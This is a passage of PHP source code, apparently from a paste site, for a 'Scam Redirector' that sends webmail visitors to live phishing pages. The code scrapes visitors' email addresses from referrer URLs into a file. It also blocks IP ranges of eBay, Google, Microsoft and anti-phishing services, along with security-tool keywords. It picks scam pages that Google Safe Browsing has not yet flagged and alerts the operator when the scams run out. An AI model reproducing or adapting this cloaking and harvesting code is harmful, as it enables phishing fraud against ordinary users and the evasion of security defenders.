  865.  
  866. /**
  867. * Function GetEmail saves to (emails.txt) file the Email address from referrer, if found
  868. *
  869. * @param referrer Referrer
  870. * @param ip IP Address
  871. * @return Boolean value representing whether or not the visitor should been banned
  872. */
  873. function GetEmail($referrer, $ip)
  874. {
  875. if (!empty($referrer))
  876. {
  877. //Tiscali IT
  878. $pos = strpos($referrer, ".tiscali.it");
  879. if ($pos === false)
  880. {
  881. //
  882. } else
  883. {
  884. $domain = get_between($referrer, "?d=", "&amp;contentseed=");
  885. $user = get_between($referrer, "&amp;u=", "&amp;targetcontainer=");
  886. $email = $user."@".$domain;
  887. }
  888. //FASTWEB
  889. $pos = strpos($referrer, ".fastwebnet.it");
  890. if ($pos === false)
  891. {
  892. //
  893. } else
  894. {
  895. $domain = get_between($referrer, "?d=", "&amp;sh=");
  896. $user = get_between($referrer, "&amp;u=", "&amp;an=");
  897. $email = $user."@".$domain;
  898. }
  899. //Rediffmail Pro
  900. $pos = strpos($referrer, ".rediffmailpro.com");
  901. if ($pos === false)
  902. {
  903. //
  904. } else
  905. {
  906. $email = get_between($referrer, "&amp;login=", "&amp;session_id=");
  907. }
  908.  
  909. //MAYL.DE
  910. $pos = strpos($referrer, ".mayl.de");
  911. if ($pos === false)
  912. {
  913. //
  914. } else
  915. {
  916. $email = get_between($referrer, "&amp;username=", "&amp;rfold=")."@mayl.de";
  917. }
  918.  
  919. //handbag.com
  920. $pos = strpos($referrer, ".handbag.com");
  921. if ($pos === false)
  922. {
  923. //
  924. } else
  925. {
  926. $email = get_between($referrer, "&userid=", "&seq=");
  927. $email = str_replace("%40", "@", $email);
  928. }
  929. //Write to file
  930. if ((CheckDuplicate($str, EMAILSFILE) == FALSE) && ($email <> "") && ($email <> "@"))
  931. {
  932. $fh = fopen(EMAILSFILE, 'a');
  933. $str = "$ip - $email";
  934. fwrite($fh, $str."\n");
  935. fclose($fh);
  936. }
  937. }
  938. }
  939.  
  940. /**
  941. * Function InitStats creates the the settings file, used to provide statistics
  942. */
  943. function InitStats()
  944. {
  945. if (!file_exists('stats.txt'))
  946. {
  947. $fh = fopen('stats.txt', 'a');
  948. fwrite($fh, time()."\n0\n0\n0\n10\n0\n");
  949. fclose($fh);
  950. }
  951. }
  952.  
  953. /**
  954. * Function checkMatch check if the string matches our banned string
  955. *
  956. * @param str string
  957. * @param array Array with banned strings
  958. * @return Boolean value representing whether or not the visitor should been banned
  959. */
  960. function readable_time($timestamp, $num_times = 2)
  961. {
  962. //this returns human readable time when it was uploaded (array in seconds)
  963. $times = array(31536000 => 'Year', 2592000 => 'Month', 604800 => 'Week', 86400 => 'Day', 3600 => 'Hour', 60 => 'Minute', 1 => 'Second');
  964. $now = time();
  965.  
  966. /* Incorporates fix by Waylon */
  967. $secs = $now - $timestamp;
  968. //Fix so that something is always displayed
  969. if ($secs == 0) {
  970. $secs = 1;
  971. }
  972. /* /Waylon */
  973.  
  974. $count = 0;
  975. $time = '';
  976.  
  977. foreach ($times AS $key => $value)
  978. {
  979. if ($secs >= $key)
  980. {
  981. //time found
  982. $s = '';
  983. $time .= floor($secs / $key);
  984.  
  985. if ((floor($secs / $key) != 1))
  986. $s = 's';
  987.  
  988. $time .= ' ' . $value . $s;
  989. $count++;
  990. $secs = $secs % $key;
  991.  
  992. if ($count > $num_times - 1 || $secs == 0)
  993. break;
  994. else
  995. $time .= ', ';
  996. }
  997. }
  998. return $time;
  999. }
  1000.  
  1001. //Array with banned IPs, also 127.0.0.1 because somehow the IP can pe spoofed
  1002. $ban_array = array('202.76.240-202.76.247', '195.234.136', '66.77.136', '66.16.13.0-66.16.13.63', '66.135.192-66.135.223', '193.28.178', '217.159.130.168-217.159.130.175', '216.113.160-216.113.191', '216.33.244-216.33.247', '216.33.236-216.33.243', '66.211.160-66.211.191', '217.168.153-217.168.156', '66.249.64-66.249.95', '67.195', '66.227.16.0-66.227.16.127',
  1003. '66.179.80.0-66.179.80.15', '209.147.112-209.147.127', '209.191.64-209.191.127', '64.111.96-64.111.127', '72.14.192.0-72.14.255.255',
  1004. '208.67.157.213', '193.147.160-193.147.179', '207.34.136.103', '62.149.226.208',
  1005. '12.90.64.238', '84.99.95', '150.70', '198.23.5', '166.68.134',
  1006. '10.190.38.164', '75.125.130', '72.13.32-72.13.63', '128.232', '97.77.68.206',
  1007. '220.97', '138.26', '38.98.19.111', '82.81', '144.214',
  1008. '194.246.126-194.246.127', '77.124-77.127', '66.113.96-66.113.111',
  1009. '203.5.112', '115.145', '124.180.239.165', '62.212.10.250',
  1010. '159.149', '79.176-79.183', '62.67.240-62.67.241', '163.221', '91.121.64-91.121.143',
  1011. '209.123.109.175', '209.123.192.187', '66.196.64-66.196.127', '208.109',
  1012. '216.69.128-216.69.191', '72.244.219.54', '194.72.238', '192.76.82',
  1013. '195.254.224-195.254.226', '74.55.44.237', '206.208.58', '149.20',
  1014. '219.117.238.174', '212.102.67', '216.239.32-216.239.63', '64.114.199',
  1015. '131.107', '74.53', '81.218', '91.199.104', '131.114',
  1016. '78.129.140', '207.206.148', '165.166.47.186', '210.230.183', '59.188.106.242',
  1017. '69.20.70.31', '209.235.254.107', '66.118.156-66.118.157', '66.230.220',
  1018. '208.64.136-208.64.143', '209.120.218.128-209.120.218.255',
  1019. '208.115.138-208.115.139', '216.128.11',
  1020. '216.171.98.64-216.171.98.127', '66.16.13.59', '128.130', '212.27.36.1', '74.208',
  1021. '219.127.103.193-219.127.103.254', '66.179.210.128-66.179.210.255', '195.214.79',
  1022. '62.67.194', '66.16.13.55', '194.250.175',
  1023. '82.80.128-82.80.159', '66.118.188.128-66.118.188.255', '62.219',
  1024. '212.227.103.74', '209.131.32-209.131.63', '84.110.48-84.110.63', '72.37.244',
  1025. '160.83', '65.52-65.55', '195.127.173.128-195.127.173.191', '24.123.240.186',
  1026. '66.230.194', '98.64.68.139', '194.88.228-194.88.229', '64.41.151', '64.156.26',
  1027. '65.17.248-65.17.255', '72.37.171', '60.248.169.142', '67.202',
  1028. '174.129', '208.118.60', '72.44.32-72.44.63', '80.254.144-80.254.159', '141.212.110.65',
  1029. '64.127.98.128', '8.6.118.7', '221.186.93.163', '217.212.224.128-217.212.224.255',
  1030. '74.6', '193.47.80', '66.235.112-66.235.127', '204.187.65', '63.236.244-63.236.245',
  1031. '211.78.130', '208.81.237.128-208.81.237.255', '194.106.220-194.106.221', '194.153.113', '8.21.4.254',
  1032. '213.136.52.0-213.136.52.127', '192.18.0-192.18.194', '192.245.12', '69.36.252', '64.16.237',
  1033. '88.80.205.192-88.80.205.223', '78.90.16.77', '143.215', '216.82.240-216.82.255',
  1034. '208.80.200-208.80.207', '64.12.112', '195.93.18', '205.188.112', '207.200.112',
  1035. '205.178.184-205.178.191', '165.212', '203.198', '81.173.0-81.173.127', '211.104-211.119',
  1036. '219.76-219.79', '203.71-203.72', '61.208.232-61.208.255', '210.87.240-210.87.255', '220.255',
  1037. '218.102-218.103', '141.217', '74.92.105.141', '144.137.8.170', '207.171.160-207.171.191',
  1038. '98.130-98.131', '116.48-116.49', '195.93.64', '70.54.212.160-70.54.212.175', '208.87.136-208.87.139',
  1039. '207.206.202-207.206.203', '12.1.231.96-12.1.231.127', '198.6.32-198.6.63', '66.193.242.5', '216.73.80-216.73.95',
  1040. '216.185.96-216.185.127', '174.132-174.133', '66.223.0-66.223.127', '83.89.217.82', '208.80.192-208.80.199',
  1041. '62.231.131', '72.30', '192.92.94', '38.100.41', '74.201.145',
  1042. '212.117.160-212.117.175', '149.156.2', '220.233.112.41', '216.128.0-216.128.31', '62.241.4-62.241.5',
  1043. '213.198.84.192-213.198.84.223', '217.114.220.0-217.114.220.63', '216.104.0-216.104.31', '86.17.163.200', '206.210.93',
  1044. '216.145.24.13', '213.199.128-213.199.143', '193.108.72-193.108.79', '86.171.213.150', '213.161.88-213.161.89',
  1045. '70.84-70.87', '204.16.206', '86.171.209.252', '78.129.174',
  1046. '62.141.32-62.141.43', '124.43', '74.125', '85.158.136-85.158.143', '69.41.160-69.41.191',
  1047. '62.189.112.128-62.189.112.255', '216.49.80-216.49.95', '38.105.71', '87.237.108', '74.63.64-74.63.127',
  1048. '67.159.0-67.159.63', '66.220.111', '193.200.150', '213.186.32-213.186.63', '63.82.71.128-63.82.71.143', '83.221.114',
  1049. '64.127.96-64.127.127', '84.97.0.0-84.103.231.255', '195.212.29', '212.97.132-212.97.135', '85.17.56', '212.227.68-212.227.108',
  1050. '50.16', '66.150.14', '109.65', '66.150.9.128-66.150.9.191', '62.99.77.165', '220.130.53.5', '62.249.178.200',
  1051. '69.36.190.48');
  1052.  
  1053. $owner_array = array('eBay', 'eBay', 'eBay', 'Technology Universe, LLC', 'eBay', 'eBay', 'Skype Technologies OU', 'eBay', 'eBay', 'Microsoft Corp', 'eBay', 'MAN1 Network C', 'Google', 'Yahoo!');
  1054.  
  1055. // '127.0.0.1',
  1056. //Define banned words found in hostname, UA & referrer
  1057. $bw = array('phish', 'clean-mx', 'libwww', 'clamav', 'wget', 'web-sniffer',
  1058. '10.112.10.10', 'jakarta commons', 'siteadvisor.com', 'bezeqint', 'fraudwatch',
  1059. 'scampatmaker', 'urllib', 'brantect.com', 'm2k agetnt', 'showthread.php',
  1060. '.blogspot.com', '.mailprotector.net', 'groups.yahoo.com', 'crawler', 'lwp::simple',
  1061. 'webwasher', 'w3m/', 'www-mechanize/', 'libcurl', 'google.com/search', 'www.google.com', '.ipt.aol.com', '"', 'lionic.com');
  1062.  
  1063. //'.mailprotector.net' should be moved to the new updates in the future
  1064.  
  1065. //Define banned words found in UA & referrer
  1066. $bua = array('', 'Mozilla/5.0 (compatible; en-us)', 'Mozilla/4.0 (compatible;)', 'Mozilla/4.0 (compatible)', 'Mozilla/4.0', 'Mozilla/6.0', '12345', 'Mozilla/3.01 (compatible;)', 'JetBrains 5.0', 'JetBrains 4.0', '.');
  1067.  
  1068. //Suspicious IPs
  1069. $susp_array = array('203.27.226', '121.72.138.44', '209.244.4', '78.149.92.246',
  1070. '86.57.32-86.57.63', '131.215', '84.101.228.107', '207.157.0-207.157.127', '89.240.114.70',
  1071. '89.240', '205.209.128-205.209.191', '149.156', '86.171.153.79', '81.159.187.250');
  1072.  
  1073. //Custom IPs
  1074. $custom_array = array('98.130-98.131');
  1075.  
  1076. /*
  1077. Statistics
  1078. */
  1079. //$array = file('stats.txt');
  1080.  
  1081. $fh = fopen('stats.txt', 'r');
  1082. $data = fread($fh, 512);
  1083. $array = explode(",", $data);
  1084. fclose($fh);
  1085.  
  1086. $tim = $array[0];
  1087. $vst = $array[1];
  1088. $unq = $array[2];
  1089. $bnd = $array[3];
  1090. $wat = $array[4];
  1091. $nor = $array[5];
  1092.  
  1093. $vst = $vst + 1;
  1094.  
  1095. if (checkUniqueIP($ip) == false)
  1096. {
  1097. $fh = fopen('ip.txt', 'a');
  1098. fwrite($fh, $ip."\n");
  1099. fclose($fh);
  1100. $unq = $unq + 1;
  1101. }
  1102.  
  1103. function WriteStats($tim, $vst, $unq, $bnd, $wat, $nor)
  1104. {
  1105. $fh = fopen('stats.txt', 'w');
  1106. fwrite($fh, "$tim,$vst,$unq,$bnd,$wat,$nor");
  1107. fclose($fh);
  1108. }
  1109.  
  1110. //Returns the scam url with
  1111. function ScamURL($scams)
  1112. {
  1113. for ($i = 0; $i <= count($scams) - 1; $i++)
  1114. {
  1115. //Download each scam page for checking
  1116. /*
  1117.  
  1118. Warning: file_get_contents(the url) [function.file-get-contents]: failed to open stream: HTTP request failed! HTTP/1.1 500 Internal Server Error in file on line 1053
  1119. */
  1120. $scam_page = file_get_contents($scams[$i] . PATH);
  1121.  
  1122. //Add <ISONLINE VALUE=TRUE></ISONLINE> to your scam page
  1123. $online = get_between($scam_page, "<ISONLINE VALUE=", "></ISONLINE>");
  1124. if ($online == "TRUE")
  1125. {
  1126. //Check if it is blacklisted
  1127. if (GOOG_ANTIPHISH == 1)
  1128. {
  1129. $goog_url = "http://sb.google.com/safebrowsing/lookup?sourceid=firefox-antiphish&features=TrustRank&client=navclient-auto-tbff&q=".$scams[$i].PATH;
  1130. $google_page = file_get_contents($goog_url);
  1131. $blacklisted = strpos($google_page, "phishy:1:1");
  1132. if ($blacklisted === false)
  1133. {
  1134. $scam_url = $scams[$i] . PATH;
  1135. return $scam_url;
  1136. break;
  1137. }
  1138. } elseif (GOOG_ANTIPHISH == 0)
  1139. {
  1140. $scam_url = $scams[$i] . PATH;
  1141. return $scam_url;
  1142. break;
  1143. }
  1144.  
  1145. }
  1146. }
  1147. }
  1148.  
  1149. //Write IP Address to On The Fly banning list
  1150. if (checkWord($hostname, $bw) || checkWord($agent, $bw) || checkWord($referrer, $bw))
  1151. {
  1152. $file = "ip_ban.txt";
  1153.  
  1154. if (CheckDuplicate($ip, $file) == FALSE)
  1155. {
  1156. $fhandle = fopen($file, "a");
  1157. fwrite($fhandle, $ip."\n");
  1158. fclose($fhandle);
  1159. }
  1160. }
  1161.  
  1162. if (checkIP($ip, $susp_array))
  1163. {
  1164. $fhandle = fopen(LOG_FILE, "a");
  1165. fwrite($fhandle, "<font color=blue>" . $ip . " - " . $hostname . " - " . $dt . " - " . $agent . " - " . MailFromReferrer($referrer) . " - " . counter() . "</font><br/>");
  1166. fclose($fhandle);
  1167. $wat = $wat+1;
  1168. WriteStats($tim, $vst, $unq, $bnd, $wat, $nor);
  1169. }
  1170.  
  1171. if (checkIP($ip, $ban_array) || checkMatch($agent, $bua) || checkAsRedirect($referrer) || checkWord($hostname, $bw) || checkWord($agent, $bw) || checkWord($referrer, $bw) || checkTorNode($ip) || checkOnTheFlyBan($ip))
  1172. {
  1173. $fhandle = fopen(LOG_FILE, "a");
  1174. fwrite($fhandle, "<font color=red>" . $ip . " - " . $hostname . " - " . $dt . " - " . GetIPOwner($ip, $ban_array, $owner_array) ." - " . $agent . " - " . MailFromReferrer($referrer) . " - " . counter() .
  1175. "</font><br/>");
  1176. fclose($fhandle);
  1177. $bnd = $bnd+1;
  1178. WriteStats($tim, $vst, $unq, $bnd, $wat, $nor);
  1179. header("Location: " . REDIRECT_TO);
  1180. } else
  1181. {
  1182. GetEmail($referrer, $ip);
  1183. $fhandle = fopen(LOG_FILE, "a");
  1184. fwrite($fhandle, "<font color=green>" . $ip . "</font> - " . $hostname . " - " .
  1185. $dt . " - " . $agent . " - " . MailFromReferrer($referrer) . " - " . counter() .
  1186. "<br/>");
  1187. fclose($fhandle);
  1188. $nor = $nor+1;
  1189. WriteStats($tim, $vst, $unq, $bnd, $wat, $nor);
  1190.  
  1191. $scam_url = ScamURL($scams);
  1192. /*Need to modify this code, once ScamURL($scams) will return the last scam, then send email, one scam left messag and out of scams, send mail with smtp or mail*/
  1193. //Send an email if you only have one scam!
  1194. if ($send_email == 1)
  1195. {
  1196. if ($i == (count($scams) - 1))
  1197. {
  1198. //Send Email
  1199. $fh = fopen('sent.txt', 'r');
  1200. $data = fread($fh, 512);
  1201. fclose($fh);
  1202.  
  1203. if ($data == 0) {
  1204.  
  1205. $subject = "ALERT: Scam Redirector (Out of Scams)";
  1206. $date = date("Y-m-d");
  1207. $message = "Your Scam Redirector is out of scams.<br /><br />URL: <a href=http://".$_SERVER['SERVER_NAME'].INDEX.">http://".$_SERVER['SERVER_NAME'].INDEX."</a><br />Version: ".VERSION."<br />Date: $date";
  1208.  
  1209. $headers = "MIME-Version: 1.0\r\n";
  1210. $headers .= "Content-type: text/html; charset=iso-8859-1 \r\n";
  1211. $headers .= "From: Scam Redirector <sss@scamredirector.cash>\r\n";
  1212.  
  1213. mail(EMAIL, stripslashes($subject), stripslashes($message), stripslashes($headers));
  1214.  
  1215. $fh = fopen('sent.txt', 'w');
  1216. fwrite($fh, "1\n");
  1217. fclose($fh);
  1218. }
  1219. } else
  1220. {
  1221. $fh = fopen('sent.txt', 'w');
  1222. fwrite($fh, "0\n");
  1223. fclose($fh);
  1224. }
  1225. }
  1226.  
  1227. if (!empty($scam_url))
  1228. {
  1229.  
  1230. header("Location: " . $scam_url . "");
  1231. } else
  1232. {
  1233.  
  1234. header("Location: " . REDIRECT_TO);
  1235. }
  1236.  
  1237. }
  1238. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement